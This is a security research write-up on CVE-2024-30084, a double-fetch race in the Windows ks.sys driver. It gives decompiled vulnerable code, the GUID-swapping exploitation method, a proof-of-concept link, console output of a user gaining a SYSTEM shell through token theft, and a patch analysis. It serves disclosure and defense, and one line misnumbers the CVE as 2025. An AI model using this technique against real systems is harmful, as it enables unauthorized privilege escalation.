CVE-2024-30084 - Windows Kernel Streaming Driver Elevation of Privilege Vulnerability

Ghostbyt3
Authored by
Ghostbyt3

A vulnerability in the Microsoft Kernel Streaming driver (ks.sys) caused by a race condition in how user-supplied data is handled. The driver performs a second, unchecked read of a buffer after it has already been validated, introducing a time-of-check to time-of-use (TOCTOU) flaw. This allows modification of the input between the two accesses, leading the kernel to dereference attacker-controlled pointers and potentially execute arbitrary code in kernel mode, resulting in elevation of privileges to SYSTEM.

CVE-2025-30084: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30084
Vulnerability Type: Time-of-check Time-of-use (TOCTOU) Race Condition
Tested On: Windows 11 23H2
Driver Version: ks.sys - 10.0.22621.2506

Vulnerability analysis

The vulnerability exists in the KspPropertyHandler() function, which handles the IOCTL call made to the ks.sys driver. The IOCTL uses the METHOD_NEITHER transfer type, which is considered unsafe. In this case, the user input (Type3InputBuffer) is directly copied to a newly allocated buffer (SystemBuffer).

NTSTATUS __fastcall KspPropertyHandler(
        PIRP Irp,
        unsigned int a2,
        struct _LIST_ENTRY *a3,
        __int64 (__fastcall *a4)(_QWORD, _QWORD, _QWORD),
        int a5,
        __int64 a6,
        unsigned int a7)
{
  struct _LIST_ENTRY *v7; // r11
  struct _IO_STACK_LOCATION *CurrentStackLocation; // rdi

[::]


  memset(Irp->AssociatedIrp.SystemBuffer, 0, v12);
  memmove(
        (char *)Irp->AssociatedIrp.SystemBuffer + v12,
        CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer,
        InputBufferLength);
      *(_DWORD *)((char *)Irp->AssociatedIrp.SystemBuffer + v12 + 20) = v16; // First copy of user input

[::]


  if ( v24 <= 0x2000 )
  {
    if ( v24 != 0x2000 )
    {
      if ( v24 == 256 )
        return 0;
      if ( v24 != 512 )
      {
        if ( v24 == 2048 )
          return SerializePropertySet(Irp, v22, (__int64)v7, v28);
        if ( v24 == 4096 )
          return UnserializePropertySet(Irp, v22, (__int64)v7); // Vulnerable function call
        goto LABEL_99;
      }

[::]

Inside the UnserializePropertySet() function, the user input (Type3InputBuffer) is copied again to a newly allocated region (InBuffer). This creates a double fetch scenario. If an attacker modifies the input in user space between the first and second fetch, it can result in inconsistent data being processed.

__int64 __fastcall UnserializePropertySet(IRP *irp, __int64 a2, __int64 a3)
{
  _QWORD *SystemBuffer; // rdi
  struct _IO_STACK_LOCATION *CurrentStackLocation; // r13
  unsigned int OutputBufferLength; // ebx
  _DWORD *InBuffer; // rsi
  int v9; // r14d
  char *v10; // rdi
  unsigned int v11; // ebx
  char *v12; // r15
  unsigned int v13; // ebx
  char *OutBuffer; // rdi
  ULONG OutSize; // eax
  NTSTATUS v16; // r12d
  __int64 v17; // rax
  ULONG InSize; // [rsp+88h] [rbp+10h]
  ULONG BytesReturned; // [rsp+98h] [rbp+20h] BYREF

  if ( *(_DWORD *)(a2 + 16) )
    return 3221225485LL;
  SystemBuffer = irp->AssociatedIrp.SystemBuffer;
  CurrentStackLocation = irp->Tail.Overlay.CurrentStackLocation;
  InSize = CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength;
  OutputBufferLength = CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength;
  InBuffer = ExAllocatePoolWithTag(NonPagedPoolNx, InSize, 0x7070534Bu);
  if ( !InBuffer )
    return 3221225626LL;
  if ( OutputBufferLength < 0x14 )
  {
LABEL_23:
    ExFreePoolWithTag(InBuffer, 0);
    return 3221225990LL;
  }
  else
  {
    if ( **(_QWORD **)a3 != *SystemBuffer || *(_QWORD *)(*(_QWORD *)a3 + 8LL) != SystemBuffer[1] )
    {
LABEL_22:
      ExFreePoolWithTag(InBuffer, 0);
      return 3221225485LL;
    }
    memmove(InBuffer, CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer, InSize); // Double Fetch
    InBuffer[5] = 2;
    v9 = *((_DWORD *)SystemBuffer + 4);
    v10 = (char *)SystemBuffer + 20;
    v11 = OutputBufferLength - 20;
    while ( v11 && v9 )
    {
      if ( v11 < 0x20 )
        goto LABEL_23;
      v12 = v10;
      if ( *((_DWORD *)v10 + 5) )
        goto LABEL_22;
      InBuffer[4] = *((_DWORD *)v10 + 6);
      v13 = v11 - 32;
      OutBuffer = v10 + 32;
      OutSize = *((_DWORD *)v12 + 7);
      if ( OutSize > v13 )
        goto LABEL_23;
      v16 = KsSynchronousIoControlDevice(
              CurrentStackLocation->FileObject,
              0,
              CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode,
              InBuffer,
              InSize,
              OutBuffer,
              OutSize,
              &BytesReturned);
      if ( v16 < 0 )
      {
        ExFreePoolWithTag(InBuffer, 0);
        return (unsigned int)v16;
      }
      v17 = *((unsigned int *)v12 + 7);
      if ( (unsigned int)v17 < v13 )
      {
        v17 = ((_DWORD)v17 + 3) & 0xFFFFFFFC;
        *((_DWORD *)v12 + 7) = v17;
        if ( (unsigned int)v17 >= v13 )
          goto LABEL_23;
      }
      v10 = &OutBuffer[v17];
      v11 = v13 - v17;
      --v9;
    }
    ExFreePoolWithTag(InBuffer, 0);
    if ( v11 )
      return 3221225476LL;
    else
      return v9 != 0 ? 0xC0000004 : 0;
  }
}

The exploitation methodology is similar to CVE-2024-35250, with a slight modification. In the previous exploit, KSPROPERTY→Set was set to KSPROPSETID_DrmAudioStream to invoke the vulnerable function call. To demonstrate this double-fetch vulnerability, a different Set value is used during the first copy, and just before the second copy occurs, it is changed back to KSPROPSETID_DrmAudioStream. This allows ksthunk.sys to invoke the target function (RtlClearAllBits) with the intended arguments.

Using any of the following property set GUIDs as the initial copy and then changing it back to KSPROPSETID_DrmAudioStream will lead to the same vulnerability. These GUIDs were identified through reverse engineering the KspPropertyHandler() function, where it checks the GUID that triggers a call to UnserializePropertySet(), as well as from the ks.h header file, as follows:

  • 8C134960-51AD-11CF-878A-94F801C10000 - KSPROPSETID_Pin
  • 720D4AC0-7533-11D0-A5D6-28DB04C10000 - KSPROPSETID_Topology
  • 1464EDA5-6A8F-11D1-9AA7-00A0C9223196 - KSPROPSETID_General

Exploit

Tested on: Windows 11 23H2
Working POC: https://github.com/ghostbyt3/WinDriver-EXP/tree/main/CVE-2024-30084

PS C:\Users\h4x\Desktop> whoami
desktop-3rgmcon\h4x
PS C:\Users\h4x\Desktop> .\CVE-2024-30084.exe
[+] Successfully opened internal topology of an audio device!
[+] NT base address fffff8010fe00000
[+] Found EPROCESS of the current process FFFFD70BF11E70C0
[+] Found KTHREAD of the current thread FFFFD70BED9A4080
[+] Found EPROCESS of the system.exe FFFFD70BEA104040
[+] pFakeBitmapAddr = 0x0000000010000000
[+] Beginning race condition...
[+] Calling Kernel Streaming....
[+] Stealing system's Token..
[+] Replacing KTHREAD.PreviousMode as UserMode..
[+] Spawning shell as SYSTEM...
Microsoft Windows [Version 10.0.22631.3593]
(c) Microsoft Corporation. All rights reserved.

C:\Users\h4x\Desktop>whoami
nt authority\system

Patch Analysis

The patched version adds checks to ensure the KSPROPERTY→Set is not set to KSPROPSETID_DrmAudioStream. The first memmove/memcpy operation in KspPropertyHandler() has also been removed.

STATUS __fastcall KspPropertyHandler(
        PIRP Irp,
        unsigned int a2,
        __int64 a3,
        __int64 (__fastcall *a4)(_QWORD, _QWORD, _QWORD),
        unsigned int a5,
        __int64 a6,
        unsigned int a7)
{
  __int64 v7; // rbx
  struct _IO_STACK_LOCATION *CurrentStackLocation; // r15
  unsigned int Options; // r10d

[::]

  if ( v23 == 4096 )
            {
              LOBYTE(v20) = (unsigned int)Feature_2849679676__private_IsEnabledDeviceUsage() != 0;
              if ( !v20
                || *(_QWORD *)v21 != *(_QWORD *)&KSPROPSETID_DrmAudioStream.Data1
                || *(_QWORD *)(v21 + 8) != *(_QWORD *)KSPROPSETID_DrmAudioStream.Data4 ) // Fix
              {
                return UnserializePropertySet((__int64)Irp, v21, v7);
              }

[::]

Acknowledgements

  • The original research on Kernel Streaming was conducted by Angelboy, and it can be found here.
  • The PoC was developed by Varwara, and the above PoC is based on it.